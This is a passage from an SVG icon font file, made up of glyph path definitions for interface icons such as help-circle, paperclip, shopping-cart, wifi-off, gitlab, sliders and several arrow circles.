d="M302.764 679.38l379.946 3.28534v0q52.9919 0 90.4958 -37.5039t37.5039 -90.4958v-383.999h170.666q17.6613 -0.00268555 30.1606 -12.504q12.4995 -12.5013 12.4995 -30.1626t-12.4994 -30.1626q-12.4993 -12.5013 -30.1606 -12.504h-170.666v-170.666
q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-17.6639 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v170.666h-383.999q-53.0535 0 -90.5266 37.5508t-37.4731 90.833l3.28532 379.562l-173.568 -1.49335l-0.383999 -0.00170898q-17.6647 0 -30.1665 12.5018
q-12.5018 12.5018 -12.5018 30.1664q0 17.5064 12.3893 30.0077q12.3893 12.5013 29.895 12.6589l175.061 1.53601l1.53603 175.061q0.157562 17.5057 12.6589 29.895q12.5013 12.3893 30.0077 12.3893q17.6647 0 30.1665 -12.5018t12.5018 -30.1665l-0.00170898 -0.384033z
M301.996 594.047l-3.28531 -380.714q0 -17.664 12.5013 -30.1653t30.1653 -12.5013h383.999v383.999q0 17.6341 -12.4385 30.1503q-12.4384 12.5162 -29.8441 12.5162z" />
    <glyph glyph-name="help-circle" unicode="&#xe903;" 
d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694
q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06
q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM512 128h-0.00653076
q-17.664 0 -30.1653 12.5013t-12.5013 30.1653t12.5013 30.1653t30.1653 12.5013h0.00653076q17.6613 -0.00267029 30.1607 -12.504q12.4995 -12.5014 12.4995 -30.1626t-12.4995 -30.1626t-30.1607 -12.504zM428.075 497.835q-3.97705 -12.182 -15.8611 -20.8036
q-11.884 -8.62161 -24.6988 -8.62161q-17.664 0 -30.1653 12.5013t-12.5013 30.1653q0 7.79657 2.75726 15.0893q16.6147 47.1924 63.7822 80.5919q47.1675 33.3994 97.1992 33.3994q70.6559 0 120.661 -50.0054t50.0054 -120.661l-6.10352e-05 -0.156586
q0 -76.1277 -82.9867 -131.499q-34.7065 -23.2939 -74.1973 -36.992q-6.56415 -2.18576 -13.4827 -2.18576q-17.668 0 -30.1722 12.5042t-12.5042 30.1722q0 12.7386 8.55374 24.6024q8.55377 11.8638 20.64 15.8882q28.5258 10.3078 53.8453 27.008
q44.9706 30.0459 44.9706 60.5867l0.00012207 0.139191q0 35.328 -25.0027 60.3307t-60.3307 25.0027q-25.0359 0 -48.6259 -16.7176q-23.5901 -16.7176 -31.8858 -40.339z" />
    <glyph glyph-name="paperclip" unicode="&#xe904;" 
d="M884.523 428.587l-392.107 -392.107q-25.8864 -25.8864 -70.1161 -44.2069q-44.2297 -18.3205 -80.8386 -18.3205q-88.3816 0 -150.932 62.5503q-62.5503 62.5503 -62.5503 150.932q0 36.6089 18.3205 80.8386q18.3205 44.2297 44.2069 70.1161l392.107 392.107
q15.5333 15.5333 42.0736 26.5267t48.5078 10.9933q53.0339 0 90.5676 -37.5338q37.5337 -37.5337 37.5337 -90.5676q0 -21.9674 -10.9933 -48.5077t-26.5267 -42.0736l-392.533 -392.107q-12.5126 -12.5126 -30.208 -12.5126q-17.6863 0 -30.2034 12.5171t-12.5171 30.2034
q0 17.6955 12.5126 30.208l362.24 361.813q11.5641 12.3145 11.5641 29.2075q0 17.6641 -12.5013 30.1653t-30.1653 12.5013q-16.8756 0 -29.1855 -11.5434l-362.24 -361.813q-16.1417 -15.6242 -27.5656 -42.5809t-11.4239 -49.4216q0 -53.0097 37.5165 -90.5262
q37.5165 -37.5165 90.5262 -37.5165q22.4575 0 49.4081 11.4176q26.9506 11.4176 42.5735 27.5503l392.533 392.107q25.879 25.8791 44.1945 70.0963q18.3154 44.2172 18.3154 80.8157q0 88.3566 -62.5326 150.889t-150.889 62.5326q-36.5985 0 -80.8157 -18.3153
q-44.2172 -18.3154 -70.0963 -44.1945l-392.107 -392.107q-36.2321 -36.2321 -61.8747 -98.1387t-25.6426 -113.147q0 -123.704 87.5492 -211.253q87.5492 -87.5492 211.253 -87.5492q51.24 0 113.147 25.6426q61.9066 25.6426 98.1388 61.8747l392.107 392.107
q11.977 12.4007 11.977 29.641q0 17.6641 -12.5013 30.1653q-12.5013 12.5013 -30.1653 12.5013q-17.2403 0 -29.6417 -11.9768z" />
    <glyph glyph-name="shopping-cart" unicode="&#xe905;" 
d="M341.333 -128q-52.992 0 -90.496 37.504t-37.504 90.496q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504t90.496 -37.504t37.504 -90.496q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504zM341.333 -42.6667q17.664 0 30.1653 12.5013t12.5013 30.1653
t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013zM853.333 -128q-52.9919 0 -90.496 37.504t-37.504 90.496q6.10352e-05 52.992 37.504 90.496q37.504 37.504 90.496 37.504t90.496 -37.504t37.504 -90.496
q6.10352e-05 -52.992 -37.504 -90.496q-37.5041 -37.504 -90.496 -37.504zM853.333 -42.6667q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5014 30.1653q-12.5013 12.5013 -30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1654 -12.5013z
M278.912 682.667h702.421q17.6534 -0.0106201 30.1472 -12.512q12.4938 -12.5013 12.4938 -30.1547q0 -4.22247 -0.827576 -8.36267l-71.68 -357.931q-8.41718 -42.6637 -45.1506 -72.858t-80.2195 -30.1943q-0.888184 0 -1.77661 0.0123596h-450.645
q-0.541748 -0.00460815 -1.0856 -0.00460815q-46.4993 0 -83.6852 32.6298q-37.1859 32.6298 -43.2292 78.7348l-64.8107 491.52q-2.00975 15.3288 -14.3736 26.2049q-12.3638 10.8761 -27.8238 10.9151h-96h-0.00653076q-17.664 0 -30.1653 12.5013
q-12.5013 12.5013 -12.5013 30.1653t12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h0.00653076h96.0853q46.4267 -0.0703735 83.5556 -32.6989t43.1644 -78.6611l13.3973 -101.973zM330.325 293.12q2.08304 -16.055 14.3332 -26.6514q12.2502 -10.5964 28.6748 -10.4686
h451.84q0.404724 -0.00767517 0.809082 -0.00767517q14.5157 0 26.7799 10.0783q12.2643 10.0783 15.0777 24.3187l61.44 306.944h-639.147z" />
    <glyph glyph-name="tv" unicode="&#xe906;" 
d="M409.003 640l-140.501 140.501q-11.977 12.4008 -11.977 29.6411q0 17.6641 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013q17.2403 0 29.641 -11.977l183.168 -183.168l183.168 183.168q12.4008 11.9771 29.6411 11.9771q17.6639 0 30.1653 -12.5013
t12.5013 -30.1653q0 -17.2404 -11.977 -29.6411l-140.501 -140.501h238.336q52.992 0 90.496 -37.504q37.504 -37.504 37.504 -90.496v-469.333q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-682.667q-52.992 0 -90.496 37.504
q-37.504 37.504 -37.504 90.496v469.333q0 52.9919 37.504 90.496q37.504 37.5041 90.496 37.504zM170.667 554.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-469.333q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h682.667
q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v469.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-682.667z" />
    <glyph glyph-name="wifi-off" unicode="&#xe907;" 
d="M669.172 166.545q-4.15656 -0.837753 -8.39661 -0.837753q-13.5765 0 -24.6384 7.87102q-22.9513 16.3072 -59.1205 27.8483q-36.1693 11.5411 -64.3239 11.5411q-28.1547 0 -64.3239 -11.5411q-36.1692 -11.5411 -59.1205 -27.8483q-11.3387 -8.45627 -25.4834 -8.45627
q-17.6471 0 -30.1364 12.4894q-12.4894 12.4894 -12.4894 30.1365q0 9.36987 5.49332 19.7159q5.49332 10.346 13.2552 15.5947q32.1154 22.8281 82.7304 38.9843t90.0171 16.1562q13.0115 0 25.9741 -1.13348l-118.542 118.585q-41.3907 -9.33099 -93.7212 -35.1964
q-52.3305 -25.8654 -84.881 -53.0817q-11.9855 -10.3076 -27.7937 -10.3076q-17.6471 0 -30.1365 12.4894t-12.4894 30.1365q0 20.2762 15.7306 33.0697q30.3999 25.4233 78.4965 52.3628q48.0966 26.9394 85.6557 39.5811l-98.9772 99.0624
q-36.8968 -16.4358 -84.4315 -46.9974q-47.5347 -30.5616 -77.8024 -57.308q-12.2852 -11.4746 -29.0957 -11.4746q-17.6471 0 -30.1365 12.4894t-12.4894 30.1365q0 19.9233 15.285 32.7023q29.1882 25.8059 74.4998 56.4174q45.3115 30.6115 80.1468 48.0585
l-174.468 174.51q-13.4463 12.627 -13.4463 31.0728q0 17.6471 12.4894 30.1365q12.4894 12.4894 30.1365 12.4894q18.4636 0 31.0934 -13.4683l217.605 -217.562l1.32141 -1.36401l168.159 -168.159q4.1315 -3.27908 7.2464 -7.20377l543.479 -543.479
q12.4767 -12.4855 12.4767 -30.1365q0 -17.6507 -12.4919 -30.1426t-30.1426 -12.4919q-17.6686 0 -30.1578 12.498l-282.055 282.013zM512.48 -0.122496l-0.00653076 -4.99189e-07q-17.6471 0 -30.1364 12.4894q-12.4894 12.4894 -12.4894 30.1365t12.4893 30.1365
q12.4894 12.4894 30.1365 12.4894h0.00653076q17.6445 -0.00270081 30.1319 -12.4921q12.4874 -12.4894 12.4874 -30.1338q0 -17.6444 -12.4874 -30.1338t-30.1319 -12.4921zM694.961 385.258q-9.90814 4.83832 -16.9205 16.0663q-7.01227 11.2279 -7.01227 22.2544
q0 17.6552 12.4952 30.1503q12.4951 12.4951 30.1503 12.4951q9.85602 0 18.7127 -4.32483q57.5153 -28.1143 106.053 -69.3522q15.935 -12.7972 15.935 -33.235q0 -17.6471 -12.4894 -30.1364q-12.4894 -12.4894 -30.1364 -12.4894q-16.3199 0 -28.467 10.899
q-40.5428 34.3765 -88.3207 57.6728zM460.945 637.262q-1.71246 -0.138306 -3.43137 -0.138306q-17.6514 0 -30.1439 12.4924q-12.4924 12.4924 -12.4924 30.1439q0 16.2836 11.487 28.7355t27.7179 13.7624q29.0533 2.341 58.2005 2.341q113.419 0 253.882 -53.1038
t225.515 -128.138q14.4234 -12.7311 14.4234 -31.9694q0 -17.6537 -12.494 -30.1477q-12.494 -12.494 -30.1478 -12.494q-16.1273 0 -28.2183 10.6723q-75.0442 66.2025 -198.979 113.056q-123.935 46.8533 -224.007 46.8533q-25.7182 0 -51.3546 -2.06573z" />
    <glyph glyph-name="minimize" unicode="&#xe88d;" 
d="M298.667 768v-128q0 -17.664 -12.5013 -30.1653t-30.1654 -12.5013h-128h-0.00653076q-17.664 0 -30.1653 -12.5014q-12.5013 -12.5013 -12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h0.00653076h128q52.992 0 90.496 37.504t37.504 90.496v128v0.00653076
q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653zM896 597.333h-128q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v128q-0.00262451 17.6613 -12.504 30.1608q-12.5014 12.4994 -30.1627 12.4994t-30.1626 -12.4994
q-12.5013 -12.4995 -12.504 -30.1608v-128q0 -53 37.5 -90.5t90.5 -37.5h128q17.6613 0.00268555 30.1607 12.504t12.4995 30.1627q0 17.6613 -12.4994 30.1626q-12.4995 12.5013 -30.1609 12.5041zM725.333 -2.00117e-05v128q0 17.664 12.5013 30.1653
q12.5013 12.5013 30.1653 12.5013h128q17.6613 0.00270081 30.1608 12.504q12.4994 12.5014 12.4994 30.1626t-12.4994 30.1626q-12.4995 12.5013 -30.1608 12.504h-128q-52.9919 0 -90.496 -37.504t-37.504 -90.496v-128q0.00274658 -17.6613 12.504 -30.1607
t30.1627 -12.4994t30.1627 12.4994t12.504 30.1607v1.05059e-05zM128 170.667h128v0q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-128q0.00271606 -17.6613 12.5041 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1627 12.4994q12.5013 12.4994 12.504 30.1607v128
q0 53 -37.5 90.5q-37.5 37.5 -90.5 37.5h-128q-17.6613 -0.00270081 -30.1607 -12.504t-12.4994 -30.1626t12.4994 -30.1626t30.1607 -12.5042z" />
    <glyph glyph-name="maximize" unicode="&#xe908;" 
d="M341.333 810.667h-128q-52.992 0 -90.496 -37.504t-37.504 -90.496v-128q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v128q0 17.6639 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h128q17.664 0 30.1653 12.5013t12.5013 30.1653
t-12.5013 30.1653t-30.1651 12.5016zM938.667 554.667v128q0 52.9921 -37.504 90.496t-90.496 37.504h-128q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h128q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-128
q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.6641 0 30.1653 12.5013q12.5013 12.5013 12.5016 30.165zM682.667 -42.6666h128q52.992 0 90.496 37.504q37.504 37.504 37.504 90.496v128q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-17.6639 0 -30.1653 -12.5013
t-12.5013 -30.1653v-128q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013h-128q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.165 -12.5015zM85.3333 213.333v-128q0 -52.992 37.504 -90.496q37.504 -37.504 90.496 -37.504h128
q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-128q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v128q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5015 -30.1651z" />
    <glyph glyph-name="gitlab" unicode="&#xe909;" horiz-adv-x="1025" 
d="M537.088 -82.7307q-11.2185 -8.15527 -25.088 -8.15527q-13.8694 0 -25.088 8.15527l-454.571 330.368q-13.2643 9.72922 -22.6519 28.257q-9.38755 18.5278 -9.38755 34.9777q0 12.4889 3.87942 24.36l52.0533 161.365l104.96 322.645q5.1996 13.454 15.7013 22.912
q17.5104 15.8663 41.14 15.8663q24.3182 0 42.0173 -16.677q11.0297 -10.588 15.616 -25.1733l94.5067 -290.091h283.648l95.2747 293.12q5.16376 13.4259 15.744 22.9547q17.5104 15.8663 41.14 15.8663q24.3182 0 42.0173 -16.677q11.0296 -10.5881 15.616 -25.1733
l103.936 -319.957l54.7413 -162.133q3.13696 -10.7614 3.13696 -21.9704q0 -17.3148 -10.1701 -36.4052t-24.5402 -28.7498zM86.8693 313.515l425.131 -308.992l426.795 310.187l-52.224 154.667l-80.7253 248.491l-80.512 -247.637q-3.96545 -12.205 -15.8542 -20.8434
q-11.8888 -8.63843 -24.7218 -8.63922h-345.6q-12.7963 0.0222473 -24.6601 8.64816q-11.8637 8.62589 -15.8306 20.7918l-80.768 247.765l-80.4267 -247.637z" />
    <glyph glyph-name="sliders" unicode="&#xe90a;" 
d="M810.667 170.667v-170.667q0.00268555 -17.6613 12.5041 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4994t12.504 30.1607v170.667h85.3333q17.6613 0.00270081 30.1607 12.504q12.4995 12.5014 12.4995 30.1626t-12.4995 30.1626
q-12.4994 12.5013 -30.1607 12.504h-256q-17.6613 -0.00271606 -30.1607 -12.5041q-12.4995 -12.5013 -12.4995 -30.1626t12.4995 -30.1626t30.1607 -12.504zM469.333 597.333v170.667q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653
v-170.667h85.3333q17.6613 -0.00268555 30.1607 -12.504t12.4995 -30.1627q0 -17.6613 -12.4995 -30.1626t-30.1607 -12.5041h-256h-0.00653076q-17.664 0 -30.1653 12.5013t-12.5013 30.1653t12.5013 30.1654q12.5013 12.5013 30.1653 12.5013h0.00653076zM128 256v-256
q0.00271606 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4994t12.504 30.1607v256h85.3333q17.6613 0.00271606 30.1607 12.504q12.4994 12.5013 12.4994 30.1626t-12.4994 30.1626q-12.4994 12.5014 -30.1607 12.504h-256
q-17.6613 -0.00271606 -30.1607 -12.504t-12.4994 -30.1626q0 -17.6613 12.4994 -30.1626q12.4994 -12.5014 30.1607 -12.504h85.3335zM213.333 469.333q-0.00271606 -17.6613 -12.504 -30.1607q-12.5013 -12.4994 -30.1626 -12.4994t-30.1626 12.4994t-12.504 30.1607
v298.667v0.00653076q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-0.00653076v-298.667zM554.667 -2.00117e-05q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013t-30.1653 12.5013t-12.5013 30.1653v384q0 17.664 12.5013 30.1653
t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-384v1.05059e-05zM896 384q-0.00262451 -17.6613 -12.504 -30.1607q-12.5013 -12.4994 -30.1627 -12.4994q-17.6613 0 -30.1626 12.4995q-12.5013 12.4994 -12.504 30.1607v384q0.00268555 17.6613 12.5041 30.1608
q12.5013 12.4994 30.1626 12.4994t30.1626 -12.4994q12.5014 -12.4995 12.504 -30.1608z" />
    <glyph glyph-name="star-on" unicode="&#xe90b;" 
d="M473.728 829.568q4.85693 9.85602 16.0706 16.8314q11.2137 6.97534 22.2014 6.97534q10.9877 0 22.2014 -6.97534t16.0706 -16.8314l121.899 -246.741l272.64 -39.808q15.1143 -2.19141 25.811 -14.551q10.6968 -12.3596 10.6968 -27.6319q0 -17.9742 -12.8705 -30.5211
l-197.248 -191.915l46.5067 -271.147q0.600647 -3.54189 0.600647 -7.13411q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-10.5 0 -19.8007 4.87277l-243.84 128.085l-243.84 -128.085q-9.30072 -4.87277 -19.8007 -4.87277q-17.664 0 -30.1653 12.5013
t-12.5013 30.1653q0 3.59226 0.600662 7.13411l46.5067 271.147l-197.248 191.915q-12.8761 12.5476 -12.8761 30.5265q0 15.2587 10.6859 27.6167q10.6859 12.358 25.7848 14.5608l272.64 39.808z" />
    <glyph glyph-name="heart-on" unicode="&#xe90c;" 
d="M527.061 729.472q33.6374 33.6785 91.131 57.5137q57.4936 23.8351 105.093 23.8351q114.816 0 196.075 -81.2587t81.2587 -196.075l-6.10352e-05 -0.154236q-0.00280762 -47.5718 -23.8179 -105.04q-23.8151 -57.4686 -57.4622 -91.0983l-377.173 -377.173
q-12.496 -12.4922 -30.1653 -12.4922t-30.1653 12.4922l-377.173 377.173q-33.6347 33.6347 -57.439 91.1033q-23.8043 57.4687 -23.8043 105.035q0 114.836 81.2729 196.109q81.2729 81.273 196.109 81.2729q47.5667 0 105.035 -23.8043t91.1033 -57.439l15.0613 -15.0613z
" />
    <glyph glyph-name="archive" unicode="&#xe90d;" 
d="M853.333 512h-682.667v-469.333h682.667v469.333zM938.667 512v-512q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013h-768q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v512h-42.6667q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653
v213.333q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h938.667q17.664 0 30.1653 -12.5013q12.5013 -12.5013 12.5013 -30.1653v-213.333q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013zM85.3333 725.333v-128h853.333v128h-853.333zM426.667 341.333
q-17.664 0 -30.1653 12.5013t-12.5013 30.1653t12.5013 30.1653q12.5013 12.5014 30.1653 12.5014h170.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653t-12.5013 -30.1653t-30.1653 -12.5013z" />
    <glyph glyph-name="arrow-down-circle" unicode="&#xe90e;" 
d="M469.333 316.331v238.336q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-238.336l97.8347 97.8347q12.4007 11.977 29.641 11.977q17.6641 0 30.1654 -12.5013t12.5013 -30.1653q0 -17.2403 -11.977 -29.641l-170.667 -170.667
q-12.496 -12.4922 -30.1653 -12.4922q-17.6693 0 -30.1653 12.4922l-170.667 170.667q-11.977 12.4008 -11.977 29.641q0 17.664 12.5013 30.1653t30.1653 12.5013q17.2403 0 29.641 -11.977zM512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756
q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397
q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5
t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408z" />
    <glyph glyph-name="arrow-up-circle" unicode="&#xe90f;" 
d="M554.667 451.669v-238.336q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013t-30.1653 12.5013t-12.5013 30.1653v238.336l-97.8347 -97.8347q-12.5805 -13.0256 -30.6896 -13.0256q-17.664 0 -30.1653 12.5013t-12.5013 30.1653q0 18.1091 13.0257 30.6896
l170.667 170.667q12.4961 12.4922 30.1653 12.4922q17.6694 0 30.1653 -12.4922l170.667 -170.667q11.977 -12.4008 11.977 -29.641q0 -17.6641 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013q-17.2404 0 -29.6411 11.977zM512 -85.3333
q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694q95.4833 0 182.397 -37.1694
t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06q104.256 0 192.72 51.408
q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408z" />
    <glyph glyph-name="arrow-left-circle" unicode="&#xe910;" 
d="M444.331 426.667h238.336q17.664 0 30.1653 -12.5013t12.5013 -30.1653t-12.5013 -30.1653t-30.1653 -12.5013h-238.336l97.8347 -97.8347q11.977 -12.4007 11.977 -29.641q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-17.2403 0 -29.641 11.977l-170.667 170.667
q-12.4922 12.4961 -12.4922 30.1653t12.4922 30.1653l170.667 170.667q12.4007 11.977 29.641 11.977q17.664 0 30.1653 -12.5013t12.5013 -30.1653q0 -17.2403 -11.9771 -29.6411zM512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756
q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397
q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5
t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408z" />
    <glyph glyph-name="arrow-right-circle" unicode="&#xe911;" 
d="M579.669 341.333h-238.336q-17.664 0 -30.1653 12.5013t-12.5013 30.1653t12.5013 30.1653t30.1653 12.5013h238.336l-97.8347 97.8347q-13.0256 12.5806 -13.0256 30.6896q0 17.664 12.5013 30.1653t30.1653 12.5013q18.109 0 30.6897 -13.0256l170.667 -170.667
q12.4922 -12.496 12.4922 -30.1653t-12.4922 -30.1653l-170.667 -170.667q-12.4008 -11.977 -29.641 -11.977q-17.664 0 -30.1653 12.5013t-12.5013 30.1653q0 17.2403 11.977 29.641zM512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756
q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397
q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5
t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408z" />
    <glyph glyph-name="bar-chart-line-" unicode="&#xe912;" 
d="M810.667 42.6667q0 -17.664 -12.5014 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013t-30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v426.667q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653zM554.667 42.6667
q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1654 -12.5013q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v682.667q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653zM298.667 42.6667q0 -17.664 -12.5013 -30.1653
q-12.5013 -12.5013 -30.1653 -12.5013t-30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v256q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-256z" />
    <glyph glyph-name="bar-chart-line" unicode="&#xe913;" 
d="M554.667 42.6667q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1654 -12.5013q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v426.667q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653z
M810.667 42.6667q0 -17.664 -12.5014 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013t-30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v682.667q0 17.664 12.5013 30.1653t30.1653 12.5013q17.6641 0 30.1653 -12.5013q12.5013 -12.5013 12.5013 -30.1653z
M298.667 42.6667q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013t-30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v170.667q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-170.667z" />
    <glyph glyph-name="book-open" unicode="&#xe914;" 
d="M128 725.333v-554.667h256q45.8566 0 85.3333 -22.8267v449.493q0 52.992 -37.504 90.496q-37.504 37.504 -90.496 37.504zM512 -42.6667q-17.3363 0 -30.0015 11.2551t-12.6652 31.4116q0 35.328 -25.0027 60.3307t-60.3307 25.0027h-298.667
q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v640q0 17.6639 12.5013 30.1653q12.5013 12.5014 30.1653 12.5014h256q51.4481 0 96.1844 -22.8523t74.4823 -62.481q26.4518 35.3281 76.4071 60.3307q49.9553 25.0027 94.0889 25.0027
l0.170715 -6.10352e-05h256q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-640q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-298.667v0q-35.3281 0 -60.3307 -25.0027t-25.0026 -60.3307q0 -20.1565 -12.6652 -31.4116q-12.6652 -11.2551 -30.0015 -11.2551
q-17.3363 0 -30.0015 11.2551t-12.6652 31.4116q0 46.5997 23.1907 85.9512q23.1907 39.3515 62.1426 61.8888v-147.84q0 -20.1565 -12.6652 -31.4116q-12.6652 -11.2551 -30.0007 -11.2552zM896 725.333h-213.333q-52.9921 0 -90.496 -37.504t-37.504 -90.496v-449.493
q16.3397 9.45035 41.2626 16.1386q24.923 6.68828 43.7988 6.68828l0.271851 -0.000213623h256z" />
    <glyph glyph-name="code" unicode="&#xe915;" 
